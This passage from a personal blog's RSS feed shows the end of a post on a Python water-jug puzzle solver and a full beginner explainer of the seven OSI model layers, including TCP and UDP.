_____<span class="hljs-subst">{tLength}</span>___<span class="hljs-subst">{sLength}</span>_|
01 | <span class="hljs-subst">{x}</span> | <span class="hljs-subst">{y}</span> |
'''</span>
<span class="hljs-comment"># First time one will always be the Total method</span>
x,y = totalMethod(x,y, tLength, sLength)
past = <span class="hljs-number">0</span>
history += <span class="hljs-string">f'02 | <span class="hljs-subst">{x}</span> | <span class="hljs-subst">{y}</span> |\n'</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">0</span>,<span class="hljs-number">10</span>):
    <span class="hljs-keyword">if</span> x == targetCapacity <span class="hljs-keyword">or</span> y == targetCapacity:
        <span class="hljs-keyword">break</span>
    <span class="hljs-keyword">if</span> past == <span class="hljs-number">0</span>: <span class="hljs-comment"># calls swapmethod</span>
        x,y = swapMethod(x,y,tLength,sLength)
        past = <span class="hljs-number">1</span>
    <span class="hljs-keyword">else</span>: <span class="hljs-comment">#calls totalMethod</span>
        x,y = totalMethod(x,y, tLength, sLength)
        past = <span class="hljs-number">0</span>
    history += <span class="hljs-string">f'<span class="hljs-subst">{i+<span class="hljs-number">3</span>:<span class="hljs-number">02</span>}</span> | <span class="hljs-subst">{x}</span> | <span class="hljs-subst">{y}</span> |\n'</span>
print(history)
</code></pre><p>Full code <a target="_blank" href="https://github.com/Dingo418/jug-solver/blob/6971860401a01b34b09d8b90eab4fa009b7fbf30/Basic%20bottle%20game.py">here</a></p>
<h3 id="heading-closing-notes">Closing notes</h3>
<p>If you want to see a more complete version with inputs look on my GitHub <a target="_blank" href="https://github.com/Dingo418/jug-solver">here</a>.
Thanks to my math teacher for showing me this problem. It was a fun challenge.</p>
]]></content:encoded></item><item><title><![CDATA[The OSI Model]]></title><description><![CDATA[What is the OSI Model?
The OSI model (or Open Systems Interconnection Model) is a conceptual model created by ISO (International Organization for Standardization) which allows many different types of systems to communicate together. The OSI model con...]]></description><link>https://colej.net/the-osi-model</link><guid isPermaLink="true">https://colej.net/the-osi-model</guid><category><![CDATA[network]]></category><category><![CDATA[basics]]></category><category><![CDATA[data structures]]></category><category><![CDATA[modal]]></category><dc:creator><![CDATA[Joshua Cole]]></dc:creator><pubDate>Mon, 09 May 2022 21:46:24 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1652132593317/mu6aaAVzU.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-what-is-the-osi-model">What is the OSI Model?</h3>
<p>The <strong>OSI</strong> model (or <strong>O</strong>pen <strong>S</strong>ystems <strong>I</strong>nterconnection Model) is a conceptual model created by <strong>ISO</strong> (<strong>I</strong>nternational <strong>O</strong>rganization for <strong>S</strong>tandardization) which allows many different types of systems to communicate together. The OSI model consists of seven different layers that each have its own unique purpose and responsibilities. </p>
<p><a target="_blank" href="https://www.cloudflare.com/en-au/learning/ddos/glossary/open-systems-interconnection-model-osi/"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652073597298/Nj_NDbdAA.png" alt="image.png" /></a></p>
<h4 id="heading-7-application">7 Application</h4>
<p>The application is the only layer that directly communicates with the user. You can think of the application layer as the <strong>G</strong>raphical <strong>U</strong>ser <strong>I</strong>nterface (<strong>GUI</strong>) of the OSI model. The application layer includes protocols such as HTTP or <strong>SMTP</strong> (<strong>S</strong>imple <strong>M</strong>ail <strong>T</strong>ransfer <strong>P</strong>rotocol).</p>
<h4 id="heading-6-presentation">6 Presentation</h4>
<p>This presentation layer is responsible for prepping and standardization for the application layer. in plain English, it is a translater for the application. If two devices are communicating using different encoding methods, layer 6 will be responsible for translating it. This layer can also handle encryption and compression.</p>
<h4 id="heading-5-session">5 Session</h4>
<p>The session layer is responsible for opening and closing a stable communication between two devices. This layer can also be responsible for synchronizing with checkpoints. For example, if you were downloading a 200MB video and it has a checkpoint every 5MB, and it fails at 143MB due to a server disconnect. You could resume that video at 140MB. 
Something worth noting is that every session is unique, which means that data cannot travel over different sessions.</p>
<h4 id="heading-4-transport">4 Transport</h4>
<p>The transport layer is a vital part of the transmission of data across a network. This includes taking the data from the session layer and breaking it up into chunks before sending it to layer 3. This transport layer is also responsible for reassembling all the chunks into complete data for the session layer to use. This is mainly done using two protocols UDP and TCP.</p>
<h5 id="heading-tcp">TCP</h5>
<p>The <strong>T</strong>ransmission <strong>C</strong>ontrol <strong>P</strong>rotocol (<strong>TCP</strong>) is a protocol designed for reliability. </p>
<ul>
<li>A connection-oriented protocol (requires an established connection to transmit data).</li>
<li>Extensive error checking and acknowledgment of data.</li>
<li>is very reliable</li>
<li>Used in HTTPS, HTTP, SMTP, etc</li>
</ul>
<h5 id="heading-udp">UDP</h5>
<p>The <strong>U</strong>ser <strong>D</strong>atagram <strong>P</strong>rotocol (<strong>UDP</strong>) is a simpler protocol designed with speed in mind.</p>
<ul>
<li>Connectionless Internet protocol</li>
<li>Very basic error checking</li>
<li>Is very fast</li>
<li>Mainly used in streaming video</li>
</ul>
<h4 id="heading-3-network">3 Network</h4>
<p>The Network layer is used to route packets threw <strong>two</strong> different networks. Everything is communicated threw IP addresses in this layer. The network layer tries to find the optimal "path", also called routing, using protocols such as <strong>OSPF</strong> (<strong>O</strong>pen <strong>S</strong>hortest <strong>P</strong>ath <strong>F</strong>irst) and <strong>RIP </strong>(<strong>R</strong>outing <strong>I</strong>nformation <strong>P</strong>rotocol).</p>
<h4 id="heading-2-data-link">2 Data Link</h4>
<p>The Data link layer is similar to the network layer but the data link facilitates data transfers between two devices on the same network. They transfer data using a MAC Address in this layer.</p>
<h4 id="heading-1-the-physical-layer">1 The Physical Layer</h4>
<p>This is the easiest layer to understand. To put it simply, this is the physical hardware that deals with data transfers, such as cables and switches. Both sides of the physical layer must agree on a convention to tell apart the 1s and 0s.</p>
<h3 id="heading-sources">Sources</h3>
<p>These are some great sources if you want to work more:</p>
<ul>
<li>https://tryhackme.com/room/osimodelzi</li>
<li>https://www.cloudflare.com/en-au/learning/ddos/glossary/open-systems-interconnection-model-osi/</li>
<li>https://www.forcepoint.com/cyber-edu/osi-model</li>
<li>https://testbook.com/learn/osi-model-open-systems-interconnection/</li>
</ul>
]]></content:encoded></item></channel></rss>